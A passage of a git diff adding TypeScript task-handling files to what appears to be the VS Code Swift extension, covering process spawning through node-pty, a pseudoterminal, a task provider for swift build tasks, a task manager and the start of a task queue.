+ args.push("--disable-sandbox"); + } + if (config.allowWritingToPackageDirectory) { + args.push("--allow-writing-to-package-directory"); + } + if (config.allowWritingToDirectory) { + if (Array.isArray(config.allowWritingToDirectory)) { + args.push("--allow-writing-to-directory", ...config.allowWritingToDirectory); + } else { + args.push("--allow-writing-to-directory"); + } + } + if (config.allowNetworkConnections) { + args.push("--allow-network-connections"); + args.push(config.allowNetworkConnections); + } + return args; + } +} diff --git a/src/tasks/SwiftProcess.ts b/src/tasks/SwiftProcess.ts new file mode 100644 index 000000000..0dc9e345d --- /dev/null +++ b/src/tasks/SwiftProcess.ts @@ -0,0 +1,306 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as child_process from "child_process"; +import type * as nodePty from "node-pty"; +import * as vscode from "vscode"; + +import { requireNativeModule } from "../utilities/native"; + +const { spawn } = requireNativeModule("node-pty"); + +export interface SwiftProcess extends vscode.Disposable { + /** + * Resolved path to the `swift` executable + */ + command: string; + /** + * `swift` arguments + */ + args: string[]; + /** + * Spawn the `swift` {@link command} with the specified {@link args} + */ + spawn(): void; + /** + * Listen for `swift` pty process to get spawned + */ + onDidSpawn: vscode.Event; + /** + * Listen for output from the `swift` process. The `string` output + * may contain ansii characters which you're event listener can + * strip if desired. + * @see `strip-ansi` module + */ + onDidWrite: vscode.Event; + /** + * Listen for `swift` pty process to fail to spawn + */ + onDidThrowError: vscode.Event; + /** + * Listen for the `swift` process to close. The event listener will + * be called with a `number` exit code if the process exited with an + * exit code. No exit code will be provided if the `swift` process + * exited from receiving a signal or if the process abnormally terminated. + */ + onDidClose: vscode.Event; + /** + * Write a VT sequence as a string to the pty process + * to use as stdin + * + * @param s string to write to pty + */ + handleInput(s: string): void; + /** + * Forcefully terminate the pty process. Optionally can provide a signal. + */ + terminate(signal?: NodeJS.Signals): void; + /** + * Resize the pty to match the new {@link vscode.Pseudoterminal} dimensions + * + * @param dimensions + */ + setDimensions(dimensions: vscode.TerminalDimensions): void; +} + +class CloseHandler implements vscode.Disposable { + private readonly closeEmitter: vscode.EventEmitter = new vscode.EventEmitter< + number | void + >(); + private exitCode: number | void | undefined; + private closeTimeout: NodeJS.Timeout | undefined; + + event = this.closeEmitter.event; + + handle(exitCode: number | void) { + this.exitCode = exitCode; + this.queueClose(); + } + + reset() { + if (this.closeTimeout) { + clearTimeout(this.closeTimeout); + this.queueClose(); + } + } + + dispose() { + this.closeEmitter.dispose(); + } + + private queueClose() { + this.closeTimeout = setTimeout(() => { + this.closeEmitter.fire(this.exitCode); + }, 250); + } +} + +/** + * Wraps a {@link nodePty node-pty} instance to handle spawning a `swift` process + * and feeds the process state and output through event emitters. + */ +export class SwiftPtyProcess implements SwiftProcess { + private readonly spawnEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly writeEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly errorEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly closeHandler: CloseHandler = new CloseHandler(); + private disposables: vscode.Disposable[] = []; + + private spawnedProcess?: nodePty.IPty; + + constructor( + public readonly command: string, + public readonly args: string[], + private options: vscode.ProcessExecutionOptions = {} + ) { + this.disposables.push( + this.spawnEmitter, + this.writeEmitter, + this.errorEmitter, + this.closeHandler + ); + } + + spawn(): void { + try { + const isWindows = process.platform === "win32"; + // The pty process hangs on Windows when debugging the extension if we use conpty + // See https://github.com/microsoft/node-pty/issues/640 + const useConpty = isWindows && process.env["VSCODE_DEBUG"] === "1" ? false : true; + this.spawnedProcess = spawn(this.command, this.args, { + cwd: this.options.cwd, + env: { ...process.env, ...this.options.env }, + useConpty, + // https://github.com/swiftlang/vscode-swift/issues/1074 + // Causing weird truncation issues + cols: isWindows ? 4096 : undefined, + }); + this.spawnEmitter.fire(); + this.spawnedProcess.onData(data => { + this.writeEmitter.fire(data); + this.closeHandler.reset(); + }); + this.spawnedProcess.onExit(event => { + if (event.signal) { + this.closeHandler.handle(event.signal); + } else if (typeof event.exitCode === "number") { + this.closeHandler.handle(event.exitCode); + } else { + this.closeHandler.handle(); + } + }); + this.disposables.push( + this.onDidClose(() => { + this.dispose(); + }) + ); + } catch (error) { + this.errorEmitter.fire(new Error(`${error}`)); + this.closeHandler.handle(); + } + } + + handleInput(s: string): void { + this.spawnedProcess?.write(s); + } + + terminate(signal?: NodeJS.Signals): void { + if (!this.spawnedProcess) { + return; + } + this.spawnedProcess.kill(signal); + } + + setDimensions(dimensions: vscode.TerminalDimensions): void { + // https://github.com/swiftlang/vscode-swift/issues/1074 + // Causing weird truncation issues + if (process.platform === "win32") { + return; + } + this.spawnedProcess?.resize(dimensions.columns, dimensions.rows); + } + + dispose() { + this.disposables.forEach(d => d.dispose()); + } + + onDidSpawn: vscode.Event = this.spawnEmitter.event; + + onDidWrite: vscode.Event = this.writeEmitter.event; + + onDidThrowError: vscode.Event = this.errorEmitter.event; + + onDidClose: vscode.Event = this.closeHandler.event; +} + +/** + * A {@link SwiftProcess} that spawns a child process and does not bind to stdio. + * + * Use this for Swift tasks that do not need to accept input, as its lighter weight and + * less error prone than using a spawned node-pty process. + * + * Specifically node-pty on Linux suffers from a long standing issue where the last chunk + * of output before a program exits is sometimes dropped, especially if that program produces + * a lot of output immediately before exiting. See https://github.com/microsoft/node-pty/issues/72 + */ +export class ReadOnlySwiftProcess implements SwiftProcess { + private readonly spawnEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly writeEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly errorEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly closeHandler: CloseHandler = new CloseHandler(); + private disposables: vscode.Disposable[] = []; + + private spawnedProcess: child_process.ChildProcessWithoutNullStreams | undefined; + + constructor( + public readonly command: string, + public readonly args: string[], + private readonly options: vscode.ProcessExecutionOptions = {} + ) { + this.disposables.push( + this.spawnEmitter, + this.writeEmitter, + this.errorEmitter, + this.closeHandler + ); + } + + spawn(): void { + try { + this.spawnedProcess = child_process.spawn(this.command, this.args, { + cwd: this.options.cwd, + env: { ...process.env, ...this.options.env }, + }); + this.spawnEmitter.fire(); + + this.spawnedProcess.stdout.on("data", data => { + this.writeEmitter.fire(data.toString()); + this.closeHandler.reset(); + }); + + this.spawnedProcess.stderr.on("data", data => { + this.writeEmitter.fire(data.toString()); + this.closeHandler.reset(); + }); + + this.spawnedProcess.on("error", error => { + this.errorEmitter.fire(new Error(`${error}`)); + this.closeHandler.handle(); + }); + + this.spawnedProcess.once("exit", code => { + this.closeHandler.handle(code ?? undefined); + }); + + this.disposables.push( + this.onDidClose(() => { + this.dispose(); + }) + ); + } catch (error) { + this.errorEmitter.fire(new Error(`${error}`)); + this.closeHandler.handle(); + } + } + + handleInput(_s: string): void { + // Do nothing + } + + terminate(signal?: NodeJS.Signals): void { + if (!this.spawnedProcess) { + return; + } + this.spawnedProcess.kill(signal); + this.dispose(); + } + + setDimensions(_dimensions: vscode.TerminalDimensions): void { + // Do nothing + } + + dispose(): void { + this.spawnedProcess?.stdout.removeAllListeners(); + this.spawnedProcess?.stderr.removeAllListeners(); + this.spawnedProcess?.removeAllListeners(); + this.disposables.forEach(d => d.dispose()); + } + + onDidSpawn: vscode.Event = this.spawnEmitter.event; + + onDidWrite: vscode.Event = this.writeEmitter.event; + + onDidThrowError: vscode.Event = this.errorEmitter.event; + + onDidClose: vscode.Event = this.closeHandler.event; +} diff --git a/src/tasks/SwiftPseudoterminal.ts b/src/tasks/SwiftPseudoterminal.ts new file mode 100644 index 000000000..79055d7d8 --- /dev/null +++ b/src/tasks/SwiftPseudoterminal.ts @@ -0,0 +1,112 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SwiftProcess } from "./SwiftProcess"; + +/** + * Implements {@link vscode.Pseudoterminal} to spawn a {@link SwiftProcess} for tasks + * that provide a custom {@link vscode.CustomExecution} + */ +export class SwiftPseudoterminal implements vscode.Pseudoterminal, vscode.Disposable { + private readonly writeEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly closeEmitter: vscode.EventEmitter = new vscode.EventEmitter< + number | void + >(); + private swiftProcess: SwiftProcess | undefined; + + constructor( + private createSwiftProcess: () => SwiftProcess, + private options: vscode.TaskPresentationOptions + ) {} + + private disposables: vscode.Disposable[] = []; + + open(initialDimensions: vscode.TerminalDimensions | undefined): void { + this.swiftProcess = this.createSwiftProcess(); + const commandLine = [this.swiftProcess.command, ...this.swiftProcess.args].join(" "); + try { + // Convert the pty's events to the ones expected by the Tasks API + this.disposables.push( + this.swiftProcess.onDidSpawn(() => { + // Display the actual command line that we're executing. `echo` defaults to true. + if (this.options.echo !== false) { + this.writeEmitter.fire(`> ${commandLine}\n\n\r`); + } + }), + this.swiftProcess.onDidWrite(data => { + // The terminal expects a string that has "\n\r" line endings + this.writeEmitter.fire(data.replace(/\n(\r)?/g, "\n\r")); + }), + this.swiftProcess.onDidThrowError(e => { + void vscode.window.showErrorMessage( + `Failed to run Swift command "${commandLine}":\n${e}` + ); + this.closeEmitter.fire(); + this.dispose(); + }), + this.swiftProcess.onDidClose(event => { + this.closeEmitter.fire(event); + this.dispose(); + }) + ); + this.swiftProcess.spawn(); + if (initialDimensions) { + this.setDimensions(initialDimensions); + } + } catch (error) { + this.closeEmitter.fire(); + this.dispose(); + } + } + + dispose() { + for (const disposable of this.disposables) { + disposable.dispose(); + } + } + + /** + * Called by vscode when the user interacts with the + * terminal. Here we will handle any special sequences, + * ex. ctrl+c to terminate, and otherwise pass the input along + * to {@link SwiftProcess.handleInput} + * + * @param data VT sequence as a string + */ + handleInput(data: string): void { + const buf: Buffer = Buffer.from(data); + // Terminate process on ctrl+c + if (buf.length === 1 && buf[0] === 3) { + this.swiftProcess?.terminate(); + } else { + this.swiftProcess?.handleInput(data); + } + } + + setDimensions(dimensions: vscode.TerminalDimensions): void { + this.swiftProcess?.setDimensions(dimensions); + } + + onDidWrite: vscode.Event = this.writeEmitter.event; + + onDidClose: vscode.Event = this.closeEmitter.event; + + close(): void { + this.swiftProcess?.terminate(); + // Terminal may be re-used so only dispose of these on close + this.writeEmitter.dispose(); + this.closeEmitter.dispose(); + } +} diff --git a/src/tasks/SwiftTaskProvider.ts b/src/tasks/SwiftTaskProvider.ts new file mode 100644 index 000000000..140692bd4 --- /dev/null +++ b/src/tasks/SwiftTaskProvider.ts @@ -0,0 +1,496 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { Product, isAutomatic } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration, { + ShowBuildStatusOptions, + substituteVariablesInString, +} from "../configuration"; +import { BuildConfigurationFactory } from "../debugger/buildConfig"; +import { SwiftExecution } from "../tasks/SwiftExecution"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { getPlatformConfig, packageName, resolveScope, resolveTaskCwd } from "../utilities/tasks"; +import { swiftRuntimeEnv } from "../utilities/utilities"; +import { Version } from "../utilities/version"; + +/** + * References: + * + * - General information on tasks: + * https://code.visualstudio.com/docs/editor/tasks + * - Contributing task definitions: + * https://code.visualstudio.com/api/references/contribution-points#contributes.taskDefinitions + * - Implementing task providers: + * https://code.visualstudio.com/api/extension-guides/task-provider + */ + +// Interface class for defining task configuration +interface TaskConfig { + cwd: vscode.Uri; + scope: vscode.TaskScope | vscode.WorkspaceFolder; + group?: vscode.TaskGroup; + presentationOptions?: vscode.TaskPresentationOptions; + packageName?: string; + disableTaskQueue?: boolean; + dontTriggerTestDiscovery?: boolean; + showBuildStatus?: ShowBuildStatusOptions; +} + +export interface TaskPlatformSpecificConfig { + args?: string[]; + cwd?: string; + env?: { [name: string]: unknown }; +} + +export interface SwiftTask extends vscode.Task { + execution: SwiftExecution; +} + +/** arguments for generating debug builds */ +export function platformDebugBuildOptions(toolchain: SwiftToolchain): string[] { + if (process.platform === "win32") { + if (toolchain.swiftVersion.isGreaterThanOrEqual(new Version(5, 9, 0))) { + return ["-Xlinker", "-debug:dwarf"]; + } else { + return ["-Xswiftc", "-g", "-Xswiftc", "-use-ld=lld", "-Xlinker", "-debug:dwarf"]; + } + } + return []; +} + +/** arguments for setting diagnostics style */ +export function diagnosticsStyleOptions(): string[] { + if (configuration.diagnosticsStyle !== "default") { + return ["-Xswiftc", `-diagnostic-style=${configuration.diagnosticsStyle}`]; + } + return []; +} + +/** Return swift build options */ +export function buildOptions(toolchain: SwiftToolchain, debug = true): string[] { + const args: string[] = []; + if (debug) { + args.push(...platformDebugBuildOptions(toolchain)); + } + args.push(...diagnosticsStyleOptions()); + const sanitizer = toolchain.sanitizer(configuration.sanitizer); + if (sanitizer) { + args.push(...sanitizer.buildFlags); + } + args.push(...configuration.buildArguments); + return args; +} + +/** + * Get task reveal kind based off configuration + */ +function getBuildRevealOption(): vscode.TaskRevealKind { + return configuration.actionAfterBuildError === "Focus Terminal" + ? vscode.TaskRevealKind.Silent + : vscode.TaskRevealKind.Never; +} + +const buildAllTaskCache = (() => { + const cache = new Map(); + const key = (name: string, folderContext: FolderContext, task: SwiftTask) => { + return `${name}:${folderContext.folder}:${buildOptions(folderContext.toolchain).join(",")}:${task.definition.args.join(",")}`; + }; + + return { + get(name: string, folderContext: FolderContext, task: SwiftTask): SwiftTask { + const cached = cache.get(key(name, folderContext, task)); + if (!cached) { + this.set(name, folderContext, task); + } + return cached ?? task; + }, + set(name: string, folderContext: FolderContext, task: SwiftTask) { + cache.set(key(name, folderContext, task), task); + }, + reset() { + cache.clear(); + }, + }; +})(); + +/** + * Should only be used for tests purposes + */ +export function resetBuildAllTaskCache() { + // Don't want to expose the whole cache, just the reset + buildAllTaskCache.reset(); +} + +export function buildAllTaskName(folderContext: FolderContext, release: boolean): string { + let buildTaskName = release + ? `${SwiftTaskProvider.buildAllName} - Release` + : SwiftTaskProvider.buildAllName; + const packageNamePostfix = packageName(folderContext); + if (packageNamePostfix) { + buildTaskName += ` (${packageNamePostfix})`; + } + return buildTaskName; +} + +/** + * Creates a {@link vscode.Task Task} to build all targets in this package. + */ +export async function createBuildAllTask( + folderContext: FolderContext, + release: boolean = false +): Promise { + const args = (await BuildConfigurationFactory.buildAll(folderContext, false, release)).args; + const buildTaskName = buildAllTaskName(folderContext, release); + const task = createSwiftTask( + args, + buildTaskName, + { + group: vscode.TaskGroup.Build, + cwd: folderContext.folder, + scope: resolveScope(folderContext.workspaceFolder), + presentationOptions: { + reveal: getBuildRevealOption(), + }, + disableTaskQueue: true, + }, + folderContext.toolchain + ); + + // Ensures there is one Build All task per folder context, since this can be called multiple + // times and we want the same instance each time. Otherwise, VS Code may try and execute + // one instance while our extension code tries to listen to events on an instance created earlier/later. + return buildAllTaskCache.get(buildTaskName, folderContext, task); +} + +/** + * Return build all task for a folder + * @param folderContext Folder to get Build All Task for + * @returns Build All Task + */ +export async function getBuildAllTask( + folderContext: FolderContext, + release: boolean = false, + findDefault: boolean = true +): Promise { + const buildTaskName = buildAllTaskName(folderContext, release); + const folderWorkingDir = folderContext.workspaceFolder.uri.fsPath; + // search for build all task in task.json first, that are valid for folder + const tasks = await vscode.tasks.fetchTasks(); + const workspaceTasks = tasks.filter(task => { + if (task.source !== "Workspace") { + return false; + } + const swiftExecutionOptions = (task.execution as SwiftExecution).options; + let cwd = swiftExecutionOptions?.cwd; + if (task.scope === vscode.TaskScope.Workspace) { + return cwd && substituteVariablesInString(cwd) === folderContext.folder.fsPath; + } + if (task.scope !== folderContext.workspaceFolder) { + return false; + } + if (cwd === "${workspaceFolder}" || cwd === undefined) { + cwd = folderWorkingDir; + } + return cwd === folderContext.folder.fsPath; + }); + + // find default build task + let task; + if (findDefault) { + task = workspaceTasks.find( + task => task.group?.id === vscode.TaskGroup.Build.id && task.group?.isDefault === true + ); + if (task) { + return task; + } + } + // find task with name "swift: Build All" + task = workspaceTasks.find(task => task.name === `swift: ${buildTaskName}`); + if (task) { + return task; + } + // search for generated tasks + const swiftTasks = await vscode.tasks.fetchTasks({ type: "swift" }); + task = swiftTasks.find( + task => + task.name === buildTaskName && + (task.execution as SwiftExecution).options?.cwd === folderContext.folder.fsPath && + task.source === "swift" + ); + if (!task) { + task = await createBuildAllTask(folderContext, release); + } + + return task; +} + +/** + * Creates a {@link vscode.Task Task} to run an executable target. + */ +function createBuildTasks(product: Product, folderContext: FolderContext): vscode.Task[] { + const toolchain = folderContext.toolchain; + const buildDebugName = `Build Debug ${product.name}`; + const buildDebugTask = createSwiftTask( + ["build", "--product", product.name, ...buildOptions(toolchain)], + buildDebugName, + { + group: vscode.TaskGroup.Build, + cwd: folderContext.folder, + scope: resolveScope(folderContext.workspaceFolder), + presentationOptions: { + reveal: getBuildRevealOption(), + }, + packageName: packageName(folderContext), + disableTaskQueue: true, + dontTriggerTestDiscovery: true, + }, + folderContext.toolchain + ); + const buildDebug = buildAllTaskCache.get(buildDebugName, folderContext, buildDebugTask); + + const buildReleaseName = `Build Release ${product.name}`; + const buildReleaseTask = createSwiftTask( + ["build", "-c", "release", "--product", product.name, ...buildOptions(toolchain, false)], + `Build Release ${product.name}`, + { + group: vscode.TaskGroup.Build, + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + presentationOptions: { + reveal: getBuildRevealOption(), + }, + packageName: packageName(folderContext), + disableTaskQueue: true, + dontTriggerTestDiscovery: true, + }, + folderContext.toolchain + ); + const buildRelease = buildAllTaskCache.get(buildReleaseName, folderContext, buildReleaseTask); + return [buildDebug, buildRelease]; +} + +/** + * Helper function to create a {@link vscode.Task Task} with the given parameters. + */ +export function createSwiftTask( + args: string[], + name: string, + config: TaskConfig, + toolchain: SwiftToolchain, + cmdEnv: { [key: string]: string } = {}, + options: { readOnlyTerminal: boolean } = { readOnlyTerminal: false } +): SwiftTask { + const swift = toolchain.getToolchainExecutable("swift"); + args = toolchain.buildFlags.withAdditionalFlags(args); + + // Add relative path current working directory + const cwd = config.cwd.fsPath; + const fullCwd = config.cwd.fsPath; + + /* Currently there seems to be a bug in vscode where kicking off two tasks + with the same definition but different scopes messes with the task + completion code. When that is resolved we will go back to the code below + where we only store the relative cwd instead of the full cwd + + const scopeWorkspaceFolder = config.scope as vscode.WorkspaceFolder; + if (scopeWorkspaceFolder.uri.fsPath) { + cwd = path.relative(scopeWorkspaceFolder.uri.fsPath, config.cwd.fsPath); + } else { + cwd = config.cwd.fsPath; + }*/ + const env = { ...configuration.swiftEnvironmentVariables, ...swiftRuntimeEnv(), ...cmdEnv }; + const presentation = config?.presentationOptions ?? {}; + if (config?.packageName) { + name += ` (${config?.packageName})`; + } + const task = new vscode.Task( + { + type: "swift", + args: args, + env: env, + cwd: cwd, + ...(config.showBuildStatus !== undefined + ? { showBuildStatus: config.showBuildStatus } + : {}), + ...(config.disableTaskQueue !== undefined + ? { disableTaskQueue: config.disableTaskQueue } + : {}), + ...(config.dontTriggerTestDiscovery !== undefined + ? { dontTriggerTestDiscovery: config.dontTriggerTestDiscovery } + : {}), + }, + config?.scope ?? vscode.TaskScope.Workspace, + name, + "swift", + new SwiftExecution(swift, args, { + cwd: fullCwd, + env: env, + presentation, + readOnlyTerminal: options.readOnlyTerminal, + }) + ); + // This doesn't include any quotes added by VS Code. + // See also: https://github.com/microsoft/vscode/issues/137895 + task.detail = `swift ${args.join(" ")}`; + task.group = config?.group; + task.presentationOptions = presentation; + return task as SwiftTask; +} + +/** + * A {@link vscode.TaskProvider TaskProvider} for tasks that match the definition + * in **package.json**: `{ type: 'swift'; args: string[], cwd: string? }`. + * + * See {@link SwiftTaskProvider.provideTasks provideTasks} for a list of provided tasks. + */ +export class SwiftTaskProvider implements vscode.TaskProvider { + static buildAllName = "Build All"; + static cleanBuildName = "Clean Build"; + static resolvePackageName = "Resolve Package Dependencies"; + static updatePackageName = "Update Package Dependencies"; + + constructor(private workspaceContext: WorkspaceContext) {} + + /** + * Provides tasks to run the following commands: + * + * - `swift build` + * - `swift package clean` + * - `swift package resolve` + * - `swift package update` + */ + // eslint-disable-next-line @typescript-eslint/no-unused-vars + async provideTasks(token: vscode.CancellationToken): Promise { + if (this.workspaceContext.folders.length === 0) { + return []; + } + const tasks = []; + + for (const folderContext of this.workspaceContext.folders) { + if (!(await folderContext.swiftPackage.foundPackage)) { + continue; + } + const activeOperation = folderContext.taskQueue.activeOperation; + // if there is an active task running on the folder task queue (eg resolve or update) + // then don't add build tasks for this folder instead create a dummy task indicating why + // the build tasks are unavailable + // + // Ignore an active build task, it could be the build task that has just been + // initiated. + // + // This is only required in Swift toolchains before v6 as SwiftPM in newer toolchains + // will block multiple processes accessing the .build folder at the same time + if ( + folderContext.toolchain.swiftVersion.isLessThan(new Version(6, 0, 0)) && + activeOperation && + !activeOperation.operation.isBuildOperation + ) { + let buildTaskName = "Build tasks disabled"; + if (folderContext.relativePath.length > 0) { + buildTaskName += ` (${folderContext.relativePath})`; + } + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + resolveScope(folderContext.workspaceFolder), + buildTaskName, + "swift", + new vscode.CustomExecution(() => { + throw Error("Task disabled."); + }) + ); + task.group = vscode.TaskGroup.Build; + task.detail = `While ${activeOperation.operation.name} is running.`; + task.presentationOptions = { reveal: vscode.TaskRevealKind.Never, echo: false }; + tasks.push(task); + continue; + } + + // Create debug Build All task. + tasks.push(await createBuildAllTask(folderContext, false)); + + const executables = await folderContext.swiftPackage.executableProducts; + for (const executable of executables) { + tasks.push(...createBuildTasks(executable, folderContext)); + } + + if (configuration.createTasksForLibraryProducts) { + const libraries = await folderContext.swiftPackage.libraryProducts; + for (const lib of libraries) { + if (isAutomatic(lib)) { + continue; + } + tasks.push(...createBuildTasks(lib, folderContext)); + } + } + } + return tasks; + } + + /** + * Resolves a {@link vscode.Task Task} specified in **tasks.json**. + * + * Other than its definition, this `Task` may be incomplete, + * so this method should fill in the blanks. + */ + // eslint-disable-next-line @typescript-eslint/no-unused-vars + resolveTask(task: vscode.Task, token: vscode.CancellationToken): vscode.Task { + const currentFolder = + this.workspaceContext.currentFolder ?? this.workspaceContext.folders[0]; + if (!currentFolder) { + return task; + } + // We need to create a new Task object here. + // Reusing the task parameter doesn't seem to work. + const toolchain = currentFolder.toolchain; + const swift = toolchain.getToolchainExecutable("swift"); + // platform specific + const platform: TaskPlatformSpecificConfig | undefined = getPlatformConfig(task); + // get args and cwd values from either platform specific block or base + const args = (platform?.args ?? task.definition.args ?? []).map( + substituteVariablesInString + ); + const env = platform?.env ?? task.definition.env; + const fullCwd = resolveTaskCwd(task, platform?.cwd ?? task.definition.cwd); + const fullEnv = { + ...configuration.swiftEnvironmentVariables, + ...swiftRuntimeEnv(), + ...env, + }; + + const presentation = task.definition.presentation ?? task.presentationOptions ?? {}; + const newTask = new vscode.Task( + task.definition, + task.scope ?? vscode.TaskScope.Workspace, + task.name ?? "Swift Custom Task", + "swift", + new SwiftExecution(swift, args, { + cwd: fullCwd, + env: fullEnv, + presentation, + }), + task.problemMatchers + ); + newTask.detail = task.detail ?? `swift ${args.join(" ")}`; + newTask.group = task.group; + newTask.presentationOptions = presentation; + + return newTask; + } +} diff --git a/src/tasks/TaskManager.ts b/src/tasks/TaskManager.ts new file mode 100644 index 000000000..fb527ea0f --- /dev/null +++ b/src/tasks/TaskManager.ts @@ -0,0 +1,167 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2022-2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; + +/** Manage task execution and completion handlers */ +export class TaskManager implements vscode.Disposable { + constructor(private workspaceContext: WorkspaceContext) { + this.onDidEndTaskProcessDisposible = vscode.tasks.onDidEndTaskProcess(event => { + this.taskEndObservers.forEach(observer => observer(event)); + }); + this.onDidEndTaskDisposible = vscode.tasks.onDidEndTask(event => { + this.taskEndObservers.forEach(observer => + observer({ execution: event.execution, exitCode: undefined }) + ); + // if task disabled the task queue then re-enable it + if (event.execution.task.definition.disableTaskQueue) { + this.disableTaskQueue(event.execution.task, false); + } + }); + this.onDidStartTaskDisposible = vscode.tasks.onDidStartTask(event => { + if (this.taskStartObserver) { + this.taskStartObserver(event); + } + // if task is set to disable the task queue then disable it + if (event.execution.task.definition.disableTaskQueue) { + this.disableTaskQueue(event.execution.task, true); + } + }); + } + + /** + * Add handler to be called when either a task process completes or when the task + * completes without the process finishing. + * + * If the task process completes then it provides the return code from the process + * But if the process doesn't complete the return code is undefined + * + * @param observer function called when task completes + * @returns disposable handle. Once you have finished with the observer call dispose on this + */ + onDidEndTaskProcess(observer: TaskEndObserver): vscode.Disposable { + this.taskEndObservers.add(observer); + return { + dispose: () => { + this.removeObserver(observer); + }, + }; + } + + /** + * Execute task and wait until it is finished. This function assumes that no + * other tasks with the same name will be run at the same time + * + * @param task task to execute + * @returns exit code from executable + */ + async executeTaskAndWait( + task: vscode.Task, + token?: vscode.CancellationToken + ): Promise { + // set id on definition to catch this task when completing + task.definition.id = this.taskId; + this.taskId += 1; + return new Promise((resolve, reject) => { + // There is a bug in the vscode task execution code where if you start two + // tasks with the name but different scopes at the same time the second one + // will not start. If you wait until the first one has started the second + // one will run. The startingTaskPromise is setup when a executeTask is + // called and resolved at the point it actually starts + if (this.startingTaskPromise) { + void this.startingTaskPromise.then(() => + this.executeTaskAndResolve(task, resolve, reject, token) + ); + } else { + this.executeTaskAndResolve(task, resolve, reject, token); + } + }); + } + + private executeTaskAndResolve( + task: vscode.Task, + resolve: (result: number | undefined) => void, + reject: (reason?: Error) => void, + token?: vscode.CancellationToken + ) { + const disposable = this.onDidEndTaskProcess(event => { + if (event.execution.task.definition.id === task.definition.id) { + disposable.dispose(); + resolve(event.exitCode); + } + }); + // setup startingTaskPromise to be resolved one task has started + if (this.startingTaskPromise !== undefined) { + this.workspaceContext.logger.error( + "TaskManager: Starting promise should be undefined if we reach here." + ); + } + this.startingTaskPromise = new Promise(resolve => { + this.taskStartObserver = () => { + this.taskStartObserver = undefined; + this.startingTaskPromise = undefined; + resolve(); + }; + }); + vscode.tasks.executeTask(task).then( + execution => { + token?.onCancellationRequested(() => { + execution.terminate(); + disposable.dispose(); + resolve(undefined); + }); + }, + error => { + this.workspaceContext.logger.error(`Error executing task: ${error}`); + disposable.dispose(); + this.startingTaskPromise = undefined; + reject(error); + } + ); + } + + private removeObserver(observer: TaskEndObserver) { + this.taskEndObservers.delete(observer); + } + + /** Find folderContext based on task an then disable/enable its task queue */ + private disableTaskQueue(task: vscode.Task, disable: boolean) { + const index = this.workspaceContext.folders.findIndex( + context => context.folder.fsPath === task.definition.cwd + ); + if (index === -1) { + return; + } + this.workspaceContext.folders[index].taskQueue.disabled = disable; + } + + dispose() { + this.onDidEndTaskDisposible.dispose(); + this.onDidEndTaskProcessDisposible.dispose(); + this.onDidStartTaskDisposible.dispose(); + } + + private taskEndObservers: Set = new Set(); + private onDidEndTaskProcessDisposible: vscode.Disposable; + private onDidEndTaskDisposible: vscode.Disposable; + private onDidStartTaskDisposible: vscode.Disposable; + private taskStartObserver: TaskStartObserver | undefined; + private taskId = 0; + private startingTaskPromise: Promise | undefined; +} + +/** Workspace Folder observer function */ +export type TaskStartObserver = (event: vscode.TaskStartEvent) => unknown; +export type TaskEndObserver = (execution: vscode.TaskProcessEndEvent) => unknown; diff --git a/src/tasks/TaskQueue.ts b/src/tasks/TaskQueue.ts new file mode 100644 index 000000000..ccfc86272 --- /dev/null +++ b/src/tasks/TaskQueue.ts @@ -0,0 +1,315 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2022-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { execSwift, poll } from "../utilities/utilities"; + +export interface SwiftOperationOptions { + // Should I show a status item + showStatusItem: boolean; + // Should I check if an instance of this task is already running + checkAlreadyRunning: boolean; + // log output + log?: string; +} +/** Swift operation to add to TaskQueue */ +export interface SwiftOperation { + // options + options: SwiftOperationOptions; + // identifier for statusitem + statusItemId: vscode.Task | string; + // operation name + name: string; + // internally used identifier + id: string; + // is task a build operation + isBuildOperation: boolean; + // run operation + run( + workspaceContext: WorkspaceContext, + token: vscode.CancellationToken | undefined + ): Promise; +} + +/** Operation that wraps a vscode Task */ +export class TaskOperation implements SwiftOperation { + constructor( + public task: vscode.Task, + public options: SwiftOperationOptions = { + showStatusItem: false, + 